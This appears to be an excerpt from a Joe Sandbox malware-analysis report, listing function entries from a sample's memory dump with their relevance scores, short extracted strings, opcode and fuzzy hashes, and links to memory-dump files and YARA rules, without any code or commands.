Instruction ID: cbd11e1bbe8b8e97a68e40775c98829ff0408cd4c50b37b27c969d789922f25f
Opcode Fuzzy Hash: d217c6df9dd74936fcf3486b7d1e952a2d1bc25e57abd85581fab0e991d77cf3
Instruction Fuzzy Hash: 1DD1BDF3F142244BF3544E29DDA83667692DBD4310F2F823C9B899B7C5E93E99098385

Function 05E69F5F Relevance: 1.6, Strings: 1, Instructions: 393COMMON

Download Yara Rule

Strings

LO?, xrefs: 05E6A3AE

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: LO?
API String ID: 0-2472020773
Opcode ID: 2602a8cbb33bf59a60973886337e3a5d199319a2b691923e4e93cf86ddbba48d
Instruction ID: a24bfb3c55bb0715149f5dfde1b26f2aeaa5ae2b929f6096ef3a0916d83351fd
Opcode Fuzzy Hash: 2602a8cbb33bf59a60973886337e3a5d199319a2b691923e4e93cf86ddbba48d
Instruction Fuzzy Hash: 02D106B3E042148BF3449E29DC54766B7D6EBD4320F2F853DDA88977C4EA3A9C068785

Function 05E324A9 Relevance: 1.6, Strings: 1, Instructions: 381COMMON

Download Yara Rule

Strings

$B~?, xrefs: 05E328DD

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: $B~?
API String ID: 0-2060502942
Opcode ID: 7eba4a30ac9e7da8a901acc9fc1f05520d25f17170722944f2efebd6babaabee
Instruction ID: 8952bb8d8d9bb006217bbdfe0a101269464dfde6924744eecf169012f2e1747e
Opcode Fuzzy Hash: 7eba4a30ac9e7da8a901acc9fc1f05520d25f17170722944f2efebd6babaabee
Instruction Fuzzy Hash: DAD18DF3F042144BF3445E29DC98366B692EB94320F2F863DCA88977C5E97E5C068785

Function 05E60DC7 Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

_Xx^, xrefs: 05E60F1B

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: _Xx^
API String ID: 0-3148886253
Opcode ID: 4aedd79e521c8cc7ab38a062554a11d9c98d961ea68c3cc02ca0abf8ad0977c1
Instruction ID: c6440c0aaece4f17849a654c93834bd927ea9e7e2358124335f06404d2cb5ab1
Opcode Fuzzy Hash: 4aedd79e521c8cc7ab38a062554a11d9c98d961ea68c3cc02ca0abf8ad0977c1
Instruction Fuzzy Hash: 7AA180B3F5122547F3544D38CCA83A66282DB94320F2F827C8F996B7C5E97E6D0A5384

Function 05E51B0D Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

)^oS, xrefs: 05E51EBD

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: )^oS
API String ID: 0-2321238836
Opcode ID: 9bb290cfef87330daa83700f1b44942d9052b45da5129fc482b324b53b3407e8
Instruction ID: 7e5e295660e700a08c053eb33cd18f87a4332ba8b4abd1e414566cbad450ebe3
Opcode Fuzzy Hash: 9bb290cfef87330daa83700f1b44942d9052b45da5129fc482b324b53b3407e8
Instruction Fuzzy Hash: 5DA188B3F0123587F3644939CC9836276829B95724F2F42788EAC6B7C5E97E6D0A53C4

Function 05E23F58 Relevance: 1.5, Strings: 1, Instructions: 279COMMON

Download Yara Rule

Strings

7, xrefs: 05E24020

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: a60a19371bfce9bcf625cf27649803161dc274ce028bdfe6e5a117ce670218b3
Instruction ID: f652aeee8ba12736ea2540ee84f6bc44025e1482d767094386d70328a75ecfce
Opcode Fuzzy Hash: a60a19371bfce9bcf625cf27649803161dc274ce028bdfe6e5a117ce670218b3
Instruction Fuzzy Hash: 7391DEF7F111354BF3644928CC583A266839BD5324F2F82788E8C6B7C9E87E5D0A5384

Function 05E6914C Relevance: 1.5, Strings: 1, Instructions: 279COMMON

Download Yara Rule

Strings

qgew, xrefs: 05E693DE

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: qgew
API String ID: 0-1773452861
Opcode ID: 7cfd248102e2ca3be9514da24ae650ea6595f199a51a1b91d0760299db23b60f
Instruction ID: 59f58fb02e7604bf0f2f56bc019321c0d491771e1421a17ec9accd15111f1c08
Opcode Fuzzy Hash: 7cfd248102e2ca3be9514da24ae650ea6595f199a51a1b91d0760299db23b60f
Instruction Fuzzy Hash: 34919DB3F1022547F3544979CDA83A26683ABD4314F2F82788E4DAB7CADD7E1D0A5284

Function 05E38C8D Relevance: 1.5, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

>nM, xrefs: 05E38EE8

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: >nM
API String ID: 0-1588781051
Opcode ID: 52fb199979129649b5c5ae5f742e5792ed8374f8383f7f8063158d30d61bdf81
Instruction ID: fe7896c129c8e86d2f7d5fdb1982059b9be5adbbfe53de46263402cac0ef9883
Opcode Fuzzy Hash: 52fb199979129649b5c5ae5f742e5792ed8374f8383f7f8063158d30d61bdf81
Instruction Fuzzy Hash: 409188B7F012244BF3504D38CDA83A26683ABD5324F2F42788E5C6B7C5D97E6D0A5384

Function 05E51FA2 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

), xrefs: 05E521B2

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 4eaba5bc7c665a6aa1cb83850968418f7a04eb83658086090efe180bc8478244
Instruction ID: 5dd8b249b94fbbe598824e44b8f39fdc4c2645188d49dc20dd3eec9cd82339fa
Opcode Fuzzy Hash: 4eaba5bc7c665a6aa1cb83850968418f7a04eb83658086090efe180bc8478244
Instruction Fuzzy Hash: E4916DB3F102254BF3544879CD983A26683DBD5320F2F82798F59ABBC9DD7D5D0A5280

Function 05E2FE93 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

~, xrefs: 05E2FF38

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 81a988f153e64b38d29dd6cf15de8fae975f210a151811800a65855b98268f2e
Instruction ID: 9bcae5eb335137ad9125df8bff624f3c1b03c4ace2ccd04e52b22a6147bd87b6
Opcode Fuzzy Hash: 81a988f153e64b38d29dd6cf15de8fae975f210a151811800a65855b98268f2e
Instruction Fuzzy Hash: 82917AB7F1122547F7544D28CC683A266939BD4320F2F82788E896B7C9D97E6D0A93C4

Function 05E5FC1D Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

R, xrefs: 05E5FCCE

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: fa655bab53a5e1c1502dc451b98919ed8a387cf737df4293efda144bba5bda3c
Instruction ID: 0cc001197157390a418d2da7d6ca5fa5ffe0229b24c563e6b47e4267b125c26b
Opcode Fuzzy Hash: fa655bab53a5e1c1502dc451b98919ed8a387cf737df4293efda144bba5bda3c
Instruction Fuzzy Hash: AD9139B3F511244BF3584D24CDA83A266939B95324F2F827C8E4D6B3C5D97E6D0A53C4

Function 05E61CF1 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

m, xrefs: 05E61E25

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 2de5a62d92bbdb4d07f4250d1a9e2d52c5c627195ff6ef3884efe3b0465abd3e
Instruction ID: f045b632d4ddf310916c89097edf757f5d470a495aa6fb89f9f7e4e6caf1d3f1
Opcode Fuzzy Hash: 2de5a62d92bbdb4d07f4250d1a9e2d52c5c627195ff6ef3884efe3b0465abd3e
Instruction Fuzzy Hash: 4181AEB3F1162547F3944974CC983A27693EB95320F2F82788E4C6BBC5E97E5D0A5380

Function 05E0E128 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

NTDL, xrefs: 05E0E321

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: 37be0c7292889931488a87b059c2016bd26ce24c30064ba64e6625641ff2e462
Instruction ID: 1dc62e0a61db10ea6d80d92df937be22537c00e2130eb43b4a7633ab1e6b68ec
Opcode Fuzzy Hash: 37be0c7292889931488a87b059c2016bd26ce24c30064ba64e6625641ff2e462
Instruction Fuzzy Hash: BB71067690820ECFDB45CF24C5415EF3BAAFB45324F24783AD89187AC1D2B24D92DB59

Function 05E70A03 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

j7~, xrefs: 05E70C4E

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: j7~
API String ID: 0-2909048196
Opcode ID: 509fb6093464ccdef7a3b175d64cbbc5d2d1731039bbac08a328e840408c1237
Instruction ID: daa1d32bddcbb138a260f4a0898ca41c433c8d729d707219fd797b073b5a0dc6
Opcode Fuzzy Hash: 509fb6093464ccdef7a3b175d64cbbc5d2d1731039bbac08a328e840408c1237
Instruction Fuzzy Hash: D9815AB3F1122547F3644D29DCA83A276839BD5724F2F82788E8C6B7C6D93E6C065384

Function 05E65A8C Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

-, xrefs: 05E65B2D

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: fa51bdff47ea7c1a2cc37ab8934584b908688a75009ec743627ee1907306a159
Instruction ID: 7382203ea6c106c57a9549641edb63e9296eb82493a0d6ec0f4405b012982f93
Opcode Fuzzy Hash: fa51bdff47ea7c1a2cc37ab8934584b908688a75009ec743627ee1907306a159
Instruction Fuzzy Hash: 2971E2F3F106254BF3144D28CC693A27293DB95311F2F82788E58AB7D5E97EAD095384

Function 05E56DC0 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

&, xrefs: 05E56EF9

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: f8bdc2cf8c864dbd1d4dd4cd0c7fc9f20eb18959bf032e37860c2ad409fc37bb
Instruction ID: 9cc2041c8f0f8bfdb25e61dcbcf32d5d2429377413f4718bd7bed0be386e890c
Opcode Fuzzy Hash: f8bdc2cf8c864dbd1d4dd4cd0c7fc9f20eb18959bf032e37860c2ad409fc37bb
Instruction Fuzzy Hash: AD71ABB3F121254BF3504A69CC58362B683ABD4324F3F82788E586B7C5DD7EAD0A5384

Function 05E604E2 Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

2, xrefs: 05E60539

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: d5ec04e8262a93860aa8de47bc2b61028f94abc1d104b06597665b37268b5ce4
Instruction ID: 32a5e1240ae148f534f743356deefbbb96de1618d9519f618f0309cdc69c9f1e
Opcode Fuzzy Hash: d5ec04e8262a93860aa8de47bc2b61028f94abc1d104b06597665b37268b5ce4
Instruction Fuzzy Hash: 7A616DB3F1152587F3544E28CCA93A27252EB94311F2E82788E499B7C9D97EAD0993C4

Function 05E42FC2 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

YyKR, xrefs: 05E42FC2

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: YyKR
API String ID: 0-1518955261
Opcode ID: 20f63eb60edc5e96badac3476759ca0655bdc8bf974dde3f86fa9463b2e6809e
Instruction ID: 97b32fd38bbf42d32618a72b220dcabb09f8af3366b76eb4fa83fb1ff5230851
Opcode Fuzzy Hash: 20f63eb60edc5e96badac3476759ca0655bdc8bf974dde3f86fa9463b2e6809e
Instruction Fuzzy Hash: F961DDB3F1252487F3044E28CC98362B693DBD5320F2F82788E186B7D5D93E6D0A9384

Function 05E192F2 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

!, xrefs: 05E19430

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: ba923a9cb8f7612b10d73ca0b0c21a27dc3f1821e28ba47fb9fa4d533a6a63f6
Instruction ID: e0899ca82c26f755e553446c053ed9131f8c41601d27282fd1a873f55e07364b
Opcode Fuzzy Hash: ba923a9cb8f7612b10d73ca0b0c21a27dc3f1821e28ba47fb9fa4d533a6a63f6
Instruction Fuzzy Hash: AE517BF3F1122587F3140928CC683A27693DBE5325F2F827C8E496B7D5E97E6D095284

Function 05E6625B Relevance: .6, Instructions: 556COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
